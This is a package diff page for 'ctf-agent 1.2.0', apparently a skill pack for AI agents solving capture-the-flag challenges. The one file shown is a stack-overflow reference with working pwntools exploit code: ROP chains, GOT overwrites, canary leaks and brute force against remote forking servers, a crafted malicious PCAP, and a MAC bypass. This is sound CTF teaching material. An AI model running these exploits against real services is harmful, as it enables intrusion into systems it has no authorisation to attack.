ctf-agent 1.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (152) hide show
  1. package/AGENTS.md +131 -0
  2. package/Dockerfile +192 -0
  3. package/README.md +522 -0
  4. package/agents/ctf-analyzer.md +58 -0
  5. package/agents/ctf-controller.md +151 -0
  6. package/agents/ctf-speedrun.md +74 -0
  7. package/bin/ctf-agent.js +119 -0
  8. package/docker-compose.yml +13 -0
  9. package/mcp_config.json +19 -0
  10. package/package.json +44 -0
  11. package/references/ctf-triage-ladder.md +68 -0
  12. package/references/exploit-databases.md +575 -0
  13. package/references/llm-safety-and-policy-compliance.md +173 -0
  14. package/references/multi-agent-orchestration-and-policy-routing.md +278 -0
  15. package/references/security-events-and-intelligence.md +566 -0
  16. package/references/version-matrix.md +59 -0
  17. package/rules/ctf-execution-rules.md +44 -0
  18. package/rules/ctf-safety-framing-rules.md +140 -0
  19. package/rules/flag-validation-rules.md +25 -0
  20. package/scripts/__init__.py +1 -0
  21. package/scripts/ctf-tools.lock +205 -0
  22. package/scripts/ctf_init.py +1026 -0
  23. package/scripts/ctf_update.py +583 -0
  24. package/scripts/ctfd_client.py +81 -0
  25. package/scripts/cve_lookup.py +453 -0
  26. package/scripts/extract_flags.py +155 -0
  27. package/scripts/install_as_agent.py +278 -0
  28. package/scripts/install_ctf_tools.sh +603 -0
  29. package/scripts/parallel_triage.py +395 -0
  30. package/scripts/prompt_policy_sanitizer.py +283 -0
  31. package/scripts/scope_guard.py +444 -0
  32. package/scripts/skill_validator.py +504 -0
  33. package/scripts/workspace_cleaner.py +141 -0
  34. package/skills/ctf-ai-ml/SKILL.md +120 -0
  35. package/skills/ctf-ai-ml/adversarial-ml.md +623 -0
  36. package/skills/ctf-ai-ml/llm-attacks.md +487 -0
  37. package/skills/ctf-ai-ml/model-attacks.md +422 -0
  38. package/skills/ctf-crypto/SKILL.md +320 -0
  39. package/skills/ctf-crypto/advanced-math.md +798 -0
  40. package/skills/ctf-crypto/classic-ciphers.md +651 -0
  41. package/skills/ctf-crypto/ecc-attacks.md +347 -0
  42. package/skills/ctf-crypto/exotic-crypto-2.md +380 -0
  43. package/skills/ctf-crypto/exotic-crypto.md +528 -0
  44. package/skills/ctf-crypto/historical.md +113 -0
  45. package/skills/ctf-crypto/lattice-and-lwe.md +524 -0
  46. package/skills/ctf-crypto/modern-ciphers-2.md +563 -0
  47. package/skills/ctf-crypto/modern-ciphers-3.md +453 -0
  48. package/skills/ctf-crypto/modern-ciphers.md +649 -0
  49. package/skills/ctf-crypto/prng-attacks.md +257 -0
  50. package/skills/ctf-crypto/prng.md +664 -0
  51. package/skills/ctf-crypto/rsa-attacks-2.md +792 -0
  52. package/skills/ctf-crypto/rsa-attacks.md +487 -0
  53. package/skills/ctf-crypto/stream-ciphers.md +390 -0
  54. package/skills/ctf-crypto/zkp-and-advanced.md +456 -0
  55. package/skills/ctf-forensics/3d-printing.md +121 -0
  56. package/skills/ctf-forensics/SKILL.md +379 -0
  57. package/skills/ctf-forensics/disk-advanced.md +497 -0
  58. package/skills/ctf-forensics/disk-and-memory.md +491 -0
  59. package/skills/ctf-forensics/disk-recovery.md +699 -0
  60. package/skills/ctf-forensics/linux-forensics.md +511 -0
  61. package/skills/ctf-forensics/network-advanced.md +583 -0
  62. package/skills/ctf-forensics/network.md +645 -0
  63. package/skills/ctf-forensics/peripheral-capture.md +287 -0
  64. package/skills/ctf-forensics/signals-and-hardware.md +713 -0
  65. package/skills/ctf-forensics/steganography.md +694 -0
  66. package/skills/ctf-forensics/stego-advanced-2.md +475 -0
  67. package/skills/ctf-forensics/stego-advanced.md +481 -0
  68. package/skills/ctf-forensics/stego-image.md +691 -0
  69. package/skills/ctf-forensics/windows.md +625 -0
  70. package/skills/ctf-malware/SKILL.md +181 -0
  71. package/skills/ctf-malware/c2-and-protocols.md +274 -0
  72. package/skills/ctf-malware/pe-and-dotnet.md +108 -0
  73. package/skills/ctf-malware/scripts-and-obfuscation.md +449 -0
  74. package/skills/ctf-misc/SKILL.md +498 -0
  75. package/skills/ctf-misc/bashjails.md +323 -0
  76. package/skills/ctf-misc/ctfd-navigation.md +465 -0
  77. package/skills/ctf-misc/dns.md +255 -0
  78. package/skills/ctf-misc/encodings-advanced.md +504 -0
  79. package/skills/ctf-misc/encodings.md +431 -0
  80. package/skills/ctf-misc/games-and-vms-2.md +254 -0
  81. package/skills/ctf-misc/games-and-vms-3.md +690 -0
  82. package/skills/ctf-misc/games-and-vms-4.md +229 -0
  83. package/skills/ctf-misc/games-and-vms.md +529 -0
  84. package/skills/ctf-misc/linux-privesc.md +333 -0
  85. package/skills/ctf-misc/pyjails.md +671 -0
  86. package/skills/ctf-misc/rf-sdr.md +91 -0
  87. package/skills/ctf-osint/SKILL.md +198 -0
  88. package/skills/ctf-osint/geolocation-and-media.md +464 -0
  89. package/skills/ctf-osint/social-media.md +312 -0
  90. package/skills/ctf-osint/web-and-dns.md +341 -0
  91. package/skills/ctf-pwn/SKILL.md +214 -0
  92. package/skills/ctf-pwn/advanced-exploits-2.md +579 -0
  93. package/skills/ctf-pwn/advanced-exploits-3.md +598 -0
  94. package/skills/ctf-pwn/advanced-exploits-4.md +590 -0
  95. package/skills/ctf-pwn/advanced-exploits-5.md +119 -0
  96. package/skills/ctf-pwn/advanced-exploits.md +773 -0
  97. package/skills/ctf-pwn/advanced.md +326 -0
  98. package/skills/ctf-pwn/field-notes.md +245 -0
  99. package/skills/ctf-pwn/format-string.md +694 -0
  100. package/skills/ctf-pwn/heap-fsop.md +285 -0
  101. package/skills/ctf-pwn/heap-techniques-2.md +333 -0
  102. package/skills/ctf-pwn/heap-techniques.md +513 -0
  103. package/skills/ctf-pwn/kernel-bypass.md +421 -0
  104. package/skills/ctf-pwn/kernel-techniques.md +366 -0
  105. package/skills/ctf-pwn/kernel.md +636 -0
  106. package/skills/ctf-pwn/overflow-basics.md +611 -0
  107. package/skills/ctf-pwn/rop-advanced.md +725 -0
  108. package/skills/ctf-pwn/rop-and-shellcode.md +659 -0
  109. package/skills/ctf-pwn/sandbox-escape.md +313 -0
  110. package/skills/ctf-reverse/SKILL.md +163 -0
  111. package/skills/ctf-reverse/anti-analysis-ctf.md +204 -0
  112. package/skills/ctf-reverse/anti-analysis.md +693 -0
  113. package/skills/ctf-reverse/field-notes.md +376 -0
  114. package/skills/ctf-reverse/languages-compiled.md +666 -0
  115. package/skills/ctf-reverse/languages-platforms.md +592 -0
  116. package/skills/ctf-reverse/languages.md +553 -0
  117. package/skills/ctf-reverse/patterns-ctf-2.md +397 -0
  118. package/skills/ctf-reverse/patterns-ctf-3.md +797 -0
  119. package/skills/ctf-reverse/patterns-ctf.md +670 -0
  120. package/skills/ctf-reverse/patterns-runtime.md +274 -0
  121. package/skills/ctf-reverse/patterns.md +572 -0
  122. package/skills/ctf-reverse/platforms-hardware.md +387 -0
  123. package/skills/ctf-reverse/platforms.md +664 -0
  124. package/skills/ctf-reverse/tools-advanced-2.md +421 -0
  125. package/skills/ctf-reverse/tools-advanced.md +407 -0
  126. package/skills/ctf-reverse/tools-dynamic.md +679 -0
  127. package/skills/ctf-reverse/tools-emulation.md +319 -0
  128. package/skills/ctf-reverse/tools.md +573 -0
  129. package/skills/ctf-web/SKILL.md +153 -0
  130. package/skills/ctf-web/auth-and-access-2.md +82 -0
  131. package/skills/ctf-web/auth-and-access.md +783 -0
  132. package/skills/ctf-web/auth-infra.md +321 -0
  133. package/skills/ctf-web/auth-jwt.md +186 -0
  134. package/skills/ctf-web/client-side-advanced.md +739 -0
  135. package/skills/ctf-web/client-side.md +529 -0
  136. package/skills/ctf-web/cves.md +373 -0
  137. package/skills/ctf-web/field-notes.md +482 -0
  138. package/skills/ctf-web/node-and-prototype.md +200 -0
  139. package/skills/ctf-web/server-side-2.md +337 -0
  140. package/skills/ctf-web/server-side-advanced-2.md +559 -0
  141. package/skills/ctf-web/server-side-advanced-3.md +125 -0
  142. package/skills/ctf-web/server-side-advanced-4.md +480 -0
  143. package/skills/ctf-web/server-side-advanced.md +378 -0
  144. package/skills/ctf-web/server-side-deser.md +443 -0
  145. package/skills/ctf-web/server-side-exec-2.md +799 -0
  146. package/skills/ctf-web/server-side-exec.md +457 -0
  147. package/skills/ctf-web/server-side.md +629 -0
  148. package/skills/ctf-web/sql-injection.md +790 -0
  149. package/skills/ctf-web/web3.md +374 -0
  150. package/skills/ctf-writeup/SKILL.md +90 -0
  151. package/skills/solve-challenge/SKILL.md +269 -0
  152. package/skills.json +16 -0
@@ -0,0 +1,611 @@
1
+ # CTF Pwn - Overflow Basics
2
+
3
+ ## Table of Contents
4
+ - [Stack Buffer Overflow](#stack-buffer-overflow)
5
+ - [ret2win with Parameter (Magic Value Check)](#ret2win-with-parameter-magic-value-check)
6
+ - [Stack Alignment (16-byte Requirement)](#stack-alignment-16-byte-requirement)
7
+ - [Offset Calculation from Disassembly](#offset-calculation-from-disassembly)
8
+ - [Input Filtering (memmem checks)](#input-filtering-memmem-checks)
9
+ - [Finding Gadgets](#finding-gadgets)
10
+ - [Hidden Gadgets in CMP Immediates](#hidden-gadgets-in-cmp-immediates)
11
+ - [Struct Pointer Overwrite (Heap Menu Challenges)](#struct-pointer-overwrite-heap-menu-challenges)
12
+ - [Signed Integer Bypass (Negative Quantity)](#signed-integer-bypass-negative-quantity)
13
+ - [Canary-Aware Partial Overflow](#canary-aware-partial-overflow)
14
+ - [OOB Read via Stride/Rate Leak (DiceCTF 2026)](#oob-read-via-striderate-leak-dicectf-2026)
15
+ - [Stack Canary Byte-by-Byte Brute Force on Forking Servers](#stack-canary-byte-by-byte-brute-force-on-forking-servers)
16
+ - [Global Buffer Overflow (CSV Injection)](#global-buffer-overflow-csv-injection)
17
+ - [Protocol Length Field Stack Bleeding (EKOPARTY CTF 2016)](#protocol-length-field-stack-bleeding-ekoparty-ctf-2016)
18
+ - [Parser Stack Overflow via Unchecked memcpy Length (MetaCTF Flash 2026)](#parser-stack-overflow-via-unchecked-memcpy-length-metactf-flash-2026)
19
+ - [Stack Canary Null-Byte Overwrite Leak (CSAW 2017)](#stack-canary-null-byte-overwrite-leak-csaw-2017)
20
+ - [Empty-Token strncmp(n=0) MAC Bypass (UCSB iCTF 2018)](#empty-token-strncmpn0-mac-bypass-ucsb-ictf-2018)
21
+ - [Return Address LSB Overwrite + read() Chaining (TUCTF 2018)](#return-address-lsb-overwrite--read-chaining-tuctf-2018)
22
+ - [Canary Trailing-Byte Leak via Padding One Byte Past Null (hxp 2018)](#canary-trailing-byte-leak-via-padding-one-byte-past-null-hxp-2018)
23
+ - [Index-Only Bounds Check + Stride OOB Write (P.W.N. CTF 2018)](#index-only-bounds-check--stride-oob-write-pwn-ctf-2018)
24
+ - [Signed Index Negative OOB to Preceding GOT (P.W.N. CTF 2018)](#signed-index-negative-oob-to-preceding-got-pwn-ctf-2018)
25
+ - [PIE Same-Page Function Pivot via Single-Byte Overwrite (P.W.N. CTF 2018)](#pie-same-page-function-pivot-via-single-byte-overwrite-pwn-ctf-2018)
26
+ - [scanf Format-Error Skip for Canary Preservation (nullcon HackIM 2019)](#scanf-format-error-skip-for-canary-preservation-nullcon-hackim-2019)
27
+
28
+ ---
29
+
30
+ ## Stack Buffer Overflow
31
+
32
+ 1. Find offset to return address: `cyclic 200` then `cyclic -l <value>`
33
+ 2. Check protections: `checksec --file=binary`
34
+ 3. No PIE + No canary = direct ROP
35
+ 4. Canary leak via format string or partial overwrite
36
+
37
+ ### ret2win with Parameter (Magic Value Check)
38
+
39
+ **Pattern:** Win function checks argument against magic value before printing flag.
40
+
41
+ ```c
42
+ // Common pattern in disassembly
43
+ void win(long arg) {
44
+ if (arg == 0x1337c0decafebeef) { // Magic check
45
+ // Open and print flag
46
+ }
47
+ }
48
+ ```
49
+
50
+ **Exploitation (x86-64):**
51
+ ```python
52
+ from pwn import *
53
+
54
+ # Find gadgets
55
+ pop_rdi_ret = 0x40150b # pop rdi; ret
56
+ ret = 0x40101a # ret (for stack alignment)
57
+ win_func = 0x4013ac
58
+ magic = 0x1337c0decafebeef
59
+
60
+ offset = 112 + 8 # = 120 bytes to reach return address
61
+
62
+ payload = b"A" * offset
63
+ payload += p64(ret) # Stack alignment (Ubuntu/glibc requires 16-byte)
64
+ payload += p64(pop_rdi_ret)
65
+ payload += p64(magic)
66
+ payload += p64(win_func)
67
+ ```
68
+
69
+ **Finding the win function:**
70
+ - Search for `fopen("flag.txt")` or similar in Ghidra
71
+ - Look for functions with no XREF that check a magic parameter
72
+ - Check for conditional print/exit patterns after parameter comparison
73
+
74
+ ### Stack Alignment (16-byte Requirement)
75
+
76
+ Modern Ubuntu/glibc requires 16-byte stack alignment before `call` instructions. Symptoms of misalignment:
77
+ - SIGSEGV in `movaps` instruction (SSE requires alignment)
78
+ - Crash inside libc functions (printf, system, etc.)
79
+
80
+ **Fix:** Add extra `ret` gadget before your ROP chain:
81
+ ```python
82
+ payload = b"A" * offset
83
+ payload += p64(ret) # Align stack to 16 bytes
84
+ payload += p64(pop_rdi_ret)
85
+ # ... rest of chain
86
+ ```
87
+
88
+ ### Offset Calculation from Disassembly
89
+
90
+ ```asm
91
+ push %rbp
92
+ mov %rsp,%rbp
93
+ sub $0x70,%rsp ; Stack frame = 0x70 (112) bytes
94
+ ...
95
+ lea -0x70(%rbp),%rax ; Buffer at rbp-0x70
96
+ mov $0xf0,%edx ; read() size = 240 (overflow!)
97
+ ```
98
+
99
+ **Calculate offset:**
100
+ - Buffer starts at `rbp - buffer_offset` (e.g., rbp-0x70)
101
+ - Saved RBP is at `rbp` (0 offset from buffer end)
102
+ - Return address is at `rbp + 8`
103
+ - **Total offset = buffer_offset + 8** = 112 + 8 = 120 bytes
104
+
105
+ ### Input Filtering (memmem checks)
106
+
107
+ Some challenges filter input using `memmem()` to block certain strings:
108
+ ```python
109
+ payload = b"A" * 120 + p64(gadget) + p64(value)
110
+ assert b"badge" not in payload and b"token" not in payload
111
+ ```
112
+
113
+ ### Finding Gadgets
114
+
115
+ ```bash
116
+ # Find pop rdi; ret
117
+ objdump -d binary | grep -B1 "pop.*rdi"
118
+ ROPgadget --binary binary | grep "pop rdi"
119
+
120
+ # Find simple ret (for alignment)
121
+ objdump -d binary | grep -E "^\s+[0-9a-f]+:\s+c3\s+ret"
122
+ ```
123
+
124
+ ### Hidden Gadgets in CMP Immediates
125
+
126
+ CMP instructions with large immediates encode useful byte sequences. pwntools `ROP()` finds these automatically:
127
+
128
+ ```asm
129
+ # Example: cmpl $0xc35e415f, -0x4(%rbp)
130
+ # Bytes: 81 7d fc 5f 41 5e c3
131
+ # ^^ ^^ ^^ ^^
132
+ # At +3: 5f 41 5e c3 = pop rdi; pop r14; ret
133
+ # At +4: 41 5e c3 = pop r14; ret
134
+ # At +5: 5e c3 = pop rsi; ret
135
+ ```
136
+
137
+ **When to look:** Small binaries with few functions often lack standard gadgets. Check `cmp`, `mov`, and `test` instructions with large immediates -- their operand bytes may decode as useful gadgets.
138
+
139
+ ```python
140
+ rop = ROP(elf)
141
+ # pwntools finds these automatically
142
+ for addr, gadget in rop.gadgets.items():
143
+ print(hex(addr), gadget)
144
+ ```
145
+
146
+ ## Struct Pointer Overwrite (Heap Menu Challenges)
147
+
148
+ **Pattern:** Menu-based programs with create/modify/delete/view operations on structs containing both data buffers and pointers. The modify/edit function reads more bytes than the data buffer, overflowing into adjacent pointer fields.
149
+
150
+ **Struct layout example:**
151
+ ```c
152
+ struct Student {
153
+ char name[36]; // offset 0x00 - data buffer
154
+ int *grade_ptr; // offset 0x24 - pointer to separate allocation
155
+ float gpa; // offset 0x28
156
+ }; // total: 0x2c (44 bytes)
157
+ ```
158
+
159
+ **Exploitation:**
160
+ ```python
161
+ from pwn import *
162
+
163
+ WIN = 0x08049316
164
+ GOT_TARGET = 0x0804c00c # printf@GOT
165
+
166
+ # 1. Create object (allocates struct + sub-allocations)
167
+ create_student("AAAA", 5, 3.5)
168
+
169
+ # 2. Modify name - overflow into pointer field with GOT address
170
+ payload = b'A' * 36 + p32(GOT_TARGET) # 36 bytes padding + GOT addr
171
+ modify_name(0, payload)
172
+
173
+ # 3. Modify grade - scanf("%d", corrupted_ptr) writes to GOT
174
+ modify_grade(0, str(WIN)) # Writes win addr as int to GOT entry
175
+
176
+ # 4. Trigger overwritten function -> jumps to win
177
+ ```
178
+
179
+ **GOT target selection strategy:**
180
+ - Identify which libc functions the `win` function calls internally
181
+ - Do NOT overwrite GOT entries for functions used by `win` (causes infinite recursion/crash)
182
+ - Prefer functions called in the main loop AFTER the write
183
+
184
+ | Win uses | Safe GOT targets |
185
+ |----------|-------------------|
186
+ | puts, fopen, fread, fclose, exit | printf, free, getchar, malloc, scanf |
187
+ | printf, system | puts, exit, free |
188
+ | system only | puts, printf, exit |
189
+
190
+ ## Signed Integer Bypass (Negative Quantity)
191
+
192
+ `scanf("%d")` without sign check; negative input bypasses unsigned comparisons. See [advanced-exploits.md](advanced-exploits.md#signed-integer-bypass-negative-quantity) for full details.
193
+
194
+ ## Canary-Aware Partial Overflow
195
+
196
+ Overflow `valid` flag between buffer and canary without touching the canary. Use `./` as no-op path padding for precise length control. See [advanced-exploits.md](advanced-exploits.md#canary-aware-partial-overflow) for full exploit chain.
197
+
198
+ ## OOB Read via Stride/Rate Leak (DiceCTF 2026)
199
+
200
+ **Pattern (ByteCrusher):** A string processing function walks input buffer with configurable stride (`rate`). When rate exceeds buffer size, it skips over the null terminator and reads adjacent stack data (canary, return address).
201
+
202
+ **Stack layout:**
203
+ ```text
204
+ input_buf [0-31] <- user input (null at byte 31)
205
+ crushed [32-63] <- output buffer
206
+ canary [72-79] <- stack canary
207
+ saved rbp [80-87]
208
+ return addr [88-95] <- code pointer (defeats PIE)
209
+ ```
210
+
211
+ **Vulnerable pattern:**
212
+ ```c
213
+ void crush_string(char *input, char *output, int rate, int output_max_len) {
214
+ for (int i = 0; input[i] != '\0' && out_idx < output_max_len - 1; i += rate) {
215
+ output[out_idx++] = input[i]; // rate > bufsize skips past null terminator
216
+ }
217
+ }
218
+ ```
219
+
220
+ **Exploitation:**
221
+ ```python
222
+ from pwn import *
223
+
224
+ # Leak canary bytes 1-7 (byte 0 always 0x00)
225
+ canary = b'\x00'
226
+ for offset in range(73, 80): # canary at offsets 72-79
227
+ p.sendline(b'A' * 31) # fill buffer (null at byte 31)
228
+ p.sendline(str(offset).encode()) # rate = offset → reads input[0] then input[offset]
229
+ p.sendline(b'2') # output length = 2
230
+ resp = p.recvline()
231
+ canary += resp[1:2] # second char is leaked byte
232
+
233
+ # Leak return address bytes 0-5 (top 2 always 0x00 in userspace)
234
+ ret_addr = b''
235
+ for offset in range(88, 94):
236
+ p.sendline(b'A' * 31)
237
+ p.sendline(str(offset).encode())
238
+ p.sendline(b'2')
239
+ resp = p.recvline()
240
+ ret_addr += resp[1:2]
241
+
242
+ pie_base = u64(ret_addr.ljust(8, b'\x00')) - known_offset
243
+ admin_portal = pie_base + admin_offset
244
+
245
+ # Overflow gets() with leaked canary + computed address
246
+ payload = b'A' * 24 + canary + p64(0) + p64(admin_portal)
247
+ p.sendline(payload)
248
+ ```
249
+
250
+ **When to use:** Any function that traverses a buffer with user-controlled step size and null-terminator-based stop condition.
251
+
252
+ **Key insight:** Stride-based OOB reads leak one byte per iteration by controlling which offset lands on the target byte. With enough iterations, leak full canary + return address to defeat both stack canary and PIE.
253
+
254
+ ## Stack Canary Byte-by-Byte Brute Force on Forking Servers
255
+
256
+ **Pattern:** Server calls `fork()` for each connection. The child process inherits the same canary value. Brute-force the canary one byte at a time — each wrong byte crashes the child, but the parent continues with the same canary.
257
+
258
+ **Canary structure:** First byte is always `\x00` (prevents string function leaks). Remaining 7 bytes are random. Total: 8 bytes on x86-64, 4 on x86-32.
259
+
260
+ **Exploitation:**
261
+ ```python
262
+ from pwn import *
263
+
264
+ OFFSET = 64 # bytes to canary (buffer size)
265
+ HOST, PORT = "target", 1337
266
+
267
+ def try_byte(known_canary, guess_byte):
268
+ """Send overflow with known canary bytes + one guess. No crash = correct byte."""
269
+ p = remote(HOST, PORT)
270
+ payload = b'A' * OFFSET + known_canary + bytes([guess_byte])
271
+ p.send(payload)
272
+ try:
273
+ resp = p.recv(timeout=1)
274
+ p.close()
275
+ return True # No crash → byte is correct
276
+ except:
277
+ p.close()
278
+ return False # Crash → wrong byte
279
+
280
+ # Byte 0 is always \x00
281
+ canary = b'\x00'
282
+
283
+ # Brute-force bytes 1-7 (only 256 attempts per byte, 7*256 = 1792 total)
284
+ for byte_pos in range(1, 8):
285
+ for guess in range(256):
286
+ if try_byte(canary, guess):
287
+ canary += bytes([guess])
288
+ print(f"Canary byte {byte_pos}: 0x{guess:02x}")
289
+ break
290
+ else:
291
+ print(f"Failed at byte {byte_pos}")
292
+ break
293
+
294
+ print(f"Full canary: {canary.hex()}")
295
+
296
+ # Now overflow with correct canary + ROP chain
297
+ p = remote(HOST, PORT)
298
+ payload = b'A' * OFFSET + canary + b'B' * 8 + p64(win_addr)
299
+ p.sendline(payload)
300
+ ```
301
+
302
+ **Prerequisites:**
303
+ - Server must `fork()` per connection (canary stays constant across children)
304
+ - Overflow must be controllable byte-by-byte (no all-at-once read)
305
+ - Distinguishable crash vs success response (timeout, error message, or connection behavior)
306
+
307
+ **Expected attempts:** 7 * 128 = 896 average (7 bytes * 128 average guesses per byte). Maximum 7 * 256 = 1792.
308
+
309
+ **Key insight:** `fork()` preserves the canary across child processes. Brute-forcing 8 bytes sequentially (7 * 256 = 1792 attempts) is vastly more efficient than brute-forcing all 8 bytes simultaneously (2^56 attempts).
310
+
311
+ ---
312
+
313
+ ## Global Buffer Overflow (CSV Injection)
314
+
315
+ **Pattern (Spreadsheet):** Overflow adjacent global variables via extra CSV delimiters to change filename pointer. See [advanced.md](advanced.md) for full exploit pattern.
316
+
317
+ ---
318
+
319
+ ## Protocol Length Field Stack Bleeding (EKOPARTY CTF 2016)
320
+
321
+ Custom network protocols that echo data based on a length field in the request header can leak stack memory when the length exceeds the actual data sent (similar to Heartbleed).
322
+
323
+ ```python
324
+ from pwn import *
325
+
326
+ # Custom protocol: [4-byte magic][1-byte length][payload]
327
+ # Server echoes back `length` bytes of the response buffer
328
+ # If length > actual payload, server leaks stack/heap memory
329
+
330
+ io = remote('target.ctf', 1337)
331
+
332
+ # Normal request: 5 bytes of data, length = 5
333
+ # Bleeding request: 5 bytes of data, length = 255
334
+ magic = b'\x00\x01\x02\x03'
335
+ length_field = b'\xff' # request 255 bytes back
336
+ payload = b'AAAAA' # only send 5 bytes
337
+
338
+ io.send(magic + length_field + payload)
339
+ leaked = io.recv(255)
340
+
341
+ # Search leaked memory for flag pattern
342
+ if b'flag{' in leaked or b'CTF{' in leaked:
343
+ log.success(f"Flag found in leaked data!")
344
+
345
+ # Alternatively, search for addresses (libc pointers, stack addresses)
346
+ for i in range(0, len(leaked) - 8, 8):
347
+ addr = u64(leaked[i:i+8])
348
+ if 0x7f0000000000 < addr < 0x7fffffffffff:
349
+ log.info(f"Possible libc/stack address at offset {i}: {hex(addr)}")
350
+ ```
351
+
352
+ **Key insight:** Any protocol where the server uses a client-supplied length to determine how much data to return is vulnerable to overread attacks. The server reads beyond the actual buffer into adjacent stack/heap memory, leaking sensitive data including flags, addresses, and canaries.
353
+
354
+ ---
355
+
356
+ ## Parser Stack Overflow via Unchecked memcpy Length (MetaCTF Flash 2026)
357
+
358
+ **Pattern (PCAP Trap):** Custom file parser (e.g., PCAP, image, archive) allocates a fixed-size stack buffer but allows input records with lengths exceeding the buffer. A `memcpy` copies the full record into the stack buffer before length validation, overwriting saved registers and return address.
359
+
360
+ ```python
361
+ from pwn import *
362
+
363
+ # Example: PCAP parser with 0x10000 byte stack buffer
364
+ # but PCAP packets can specify up to 0x20000 bytes (snaplen)
365
+ # memcpy(stack_buf, packet_data, packet_len) has no bounds check
366
+
367
+ elf = ELF('./pcap_parser')
368
+ context.binary = elf
369
+
370
+ # Step 1: Determine overflow offset
371
+ # Buffer is 0x10000 bytes on stack
372
+ # After buffer: saved callee-save registers (rbx, r12, ...) then return address
373
+ BUF_SIZE = 0x10000
374
+ # Offset to saved registers depends on function prologue
375
+ # Check disassembly: push rbx; push r12; sub rsp, 0x10000
376
+ OFFSET_RBX = BUF_SIZE # first saved register
377
+ OFFSET_R12 = BUF_SIZE + 8 # second saved register
378
+ OFFSET_RET = BUF_SIZE + 16 # return address
379
+
380
+ # Step 2: Craft payload with register restoration
381
+ # Callee-saved registers must be valid or the function epilogue crashes
382
+ # rbx: point to readable memory (e.g., BSS) to avoid SIGSEGV on dereference
383
+ # r12: set to value that exits cleanly (e.g., loop terminator = 1)
384
+
385
+ bss_addr = elf.bss() # Readable memory for rbx
386
+ win_addr = elf.symbols['win'] # Target function
387
+
388
+ payload = b'A' * BUF_SIZE
389
+ payload += p64(bss_addr) # rbx -> valid readable address
390
+ payload += p64(1) # r12 = 1 (loop exit condition)
391
+ payload += p64(elf.symbols['ret_gadget']) # ret alignment gadget
392
+ payload += p64(win_addr) # return to win()
393
+
394
+ # Step 3: Wrap in valid file format container
395
+ # For PCAP: valid global header + packet header with large caplen
396
+ import struct
397
+
398
+ # PCAP global header
399
+ pcap_header = struct.pack('<IHHIIII',
400
+ 0xa1b2c3d4, # magic number
401
+ 2, 4, # version 2.4
402
+ 0, # thiszone
403
+ 0, # sigfigs
404
+ 0x20000, # snaplen (max packet size - larger than stack buffer!)
405
+ 1 # network (LINKTYPE_ETHERNET)
406
+ )
407
+
408
+ # PCAP packet record header
409
+ pkt_ts_sec = 0
410
+ pkt_ts_usec = 0
411
+ pkt_caplen = len(payload) # captured length = our overflow payload
412
+ pkt_origlen = len(payload)
413
+
414
+ pkt_header = struct.pack('<IIII', pkt_ts_sec, pkt_ts_usec, pkt_caplen, pkt_origlen)
415
+
416
+ # Build malicious PCAP
417
+ pcap_data = pcap_header + pkt_header + payload
418
+
419
+ with open('exploit.pcap', 'wb') as f:
420
+ f.write(pcap_data)
421
+
422
+ # Step 4: Send to target
423
+ p = remote('target', 1337)
424
+ p.send(pcap_data)
425
+ p.interactive()
426
+ ```
427
+
428
+ **Key insight:** Custom file parsers often allocate fixed-size stack buffers based on a "maximum expected size" but the file format allows specifying larger records. The `memcpy` happens before the length check, creating a classic stack overflow. When exploiting, you must restore callee-saved registers to valid values in the overflow payload -- the function epilogue pops them before returning, and invalid values cause crashes before the return address is reached. Common requirements: `rbx` must point to readable memory (use BSS), loop counter registers must satisfy exit conditions.
429
+
430
+ **Callee-saved register restoration checklist:**
431
+ 1. Identify which registers the function pushes in its prologue (`push rbx`, `push r12`, etc.)
432
+ 2. Determine the order they are restored in the epilogue (reverse of push order)
433
+ 3. Set `rbx` to any readable address (BSS, GOT, or known mapped page)
434
+ 4. Set loop counters (`r12`, `r13`) to values that terminate any loops cleanly
435
+ 5. Add a `ret` gadget for 16-byte stack alignment before the win function address
436
+
437
+ **When to recognize:** Challenge involves a custom parser for a binary file format (PCAP, ELF, image, protocol buffer). The parser uses `memcpy` or `read` with a length field from the input. Check if the buffer size is smaller than the maximum length the format allows.
438
+
439
+ **References:** MetaCTF Flash CTF 2026 "PCAP Trap"
440
+
441
+ ---
442
+
443
+ ## Stack Canary Null-Byte Overwrite Leak (CSAW 2017)
444
+
445
+ **Pattern:** Stack canaries always end with a null byte (the low byte is `\x00`) to prevent string-based leaks. If an overflow allows overwriting just that null byte with a non-null character, `puts()` or `printf("%s")` will continue printing past the overwritten byte and output the remaining 7 canary bytes. A return-to-main provides a second exploitation stage where the full canary is known.
446
+
447
+ **Stack layout:**
448
+ ```text
449
+ [buffer] [canary \x00 XX XX XX XX XX XX XX] [saved rbp] [return addr]
450
+ ^--- overwrite only this byte with 'A'
451
+ → puts() now prints: 'A' + 7 canary bytes + (more stack data)
452
+ ```
453
+
454
+ **Exploitation:**
455
+ ```python
456
+ from pwn import *
457
+
458
+ # Stage 1: Overwrite canary's null byte, leak remaining 7 bytes via puts
459
+ p.send(b'A' * buf_size + b'B') # 'B' overwrites the canary's null byte
460
+ leak = p.recvline()
461
+ # leak[buf_size] = 'B', leak[buf_size+1:buf_size+8] = 7 canary bytes
462
+ canary = b'\x00' + leak[buf_size + 1: buf_size + 8]
463
+ canary_val = u64(canary)
464
+ log.info(f"Leaked canary: {hex(canary_val)}")
465
+
466
+ # Stage 2: Return-to-main for clean second exploitation
467
+ # First stage payload returned to main() — now build full ROP chain
468
+ p.send(b'A' * buf_size + canary + p64(0) + p64(win_addr))
469
+ ```
470
+
471
+ **Why return-to-main:** After leaking the canary by overwriting its null byte, the canary is corrupted — the process will crash on return. Return-to-main (via a first-stage overflow) resets the stack frame cleanly and allows a second input with the now-known canary value.
472
+
473
+ **Key insight:** The canary's null byte terminator is a weakness — overwriting only it makes string functions print the canary value. Return-to-main provides a second exploitation opportunity with the leaked canary, enabling full ROP chain construction.
474
+
475
+ **References:** CSAW 2017
476
+
477
+ ---
478
+
479
+ ## Empty-Token strncmp(n=0) MAC Bypass (UCSB iCTF 2018)
480
+
481
+ **Pattern:** A MAC or auth token check extracts `n` (comparison length) from a user-supplied field and then calls `strncmp(expected, supplied, n)`. When `n == 0`, `strncmp` returns 0 regardless of input — every token is accepted.
482
+
483
+ **Vulnerable code:**
484
+ ```c
485
+ int n = atoi(user_len); // attacker controls length
486
+ if (strncmp(expected_mac, user_mac, n) == 0) {
487
+ grant_access();
488
+ }
489
+ ```
490
+
491
+ **Exploit:** Send the token with `len=0` (or a length field that parses to zero) and an arbitrary MAC.
492
+
493
